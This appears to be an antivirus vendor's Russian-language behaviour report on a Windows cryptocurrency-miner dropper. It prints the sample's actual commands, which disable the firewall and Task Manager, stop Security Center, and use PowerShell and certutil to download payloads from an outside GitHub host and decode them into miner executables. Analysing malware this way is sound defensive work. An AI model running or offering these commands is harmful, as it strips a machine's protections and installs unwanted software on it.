Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- %APPDATA%\microsoft\windows\start menu\programs\startup\<Имя файла>.exe
Устанавливает следующие настройки сервисов
- [<HKLM>\System\CurrentControlSet\Services\IKEEXT] 'Start' = '00000002'
Вредоносные функции
Для обхода брандмауэра удаляет или модифицирует следующие ключи реестра
- [<HKLM>\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile] 'EnableFirewall' = '00000000'
- [<HKLM>\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'EnableFirewall' = '00000000'
Для затруднения выявления своего присутствия в системе
блокирует запуск следующих системных утилит:
- Диспетчера задач (Taskmgr)
Запускает на исполнение
- '<SYSTEM32>\net.exe' stop ΓÇ£Security CenterΓÇ¥
Завершает или пытается завершить
следующие системные процессы:
- <SYSTEM32>\cmd.exe
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\ec41.tmp\ec42.tmp\ec43.bat
- <Текущая директория>\btcgen.exe
- nul
- %TEMP%\dirq.txt
- %TEMP%\systeminfoq.txt
- %TEMP%\cpuq.txt
Удаляет следующие файлы
- %TEMP%\cpuq.txt
- %TEMP%\systeminfoq.txt
- %TEMP%\dirq.txt
- %TEMP%\ec41.tmp\ec42.tmp\ec43.bat
Сетевая активность
UDP
- 'localhost':51407
- 'localhost':54868
Другое
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\EC41.tmp\EC42.tmp\EC43.bat <Полный путь к файлу>"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -window hidde -command ""
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
- '<SYSTEM32>\netsh.exe' advfirewall set allprofiles state off
- '<SYSTEM32>\net1.exe' stop ΓÇ£Security CenterΓÇ¥
- '<SYSTEM32>\where.exe' curl.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command Invoke-WebRequest 'https://github.com/rxu7s/download/raw/main/curl.exe' -OutFile curl.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command Invoke-WebRequest 'https://github.com/rxu7s/download/raw/main/hellmxe.txt' -OutFile hellmxe.txt
- '<SYSTEM32>\certutil.exe' -decode hellmxe.txt hellminer.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command Invoke-WebRequest 'https://github.com/rxu7s/download/raw/main/verusolvx.txt' -OutFile verusolvx.txt
- '<SYSTEM32>\certutil.exe' -decode verusolvx.txt verus-solver.exe
- '<SYSTEM32>\systeminfo.exe'
- '<SYSTEM32>\wbem\wmic.exe' cpu get name
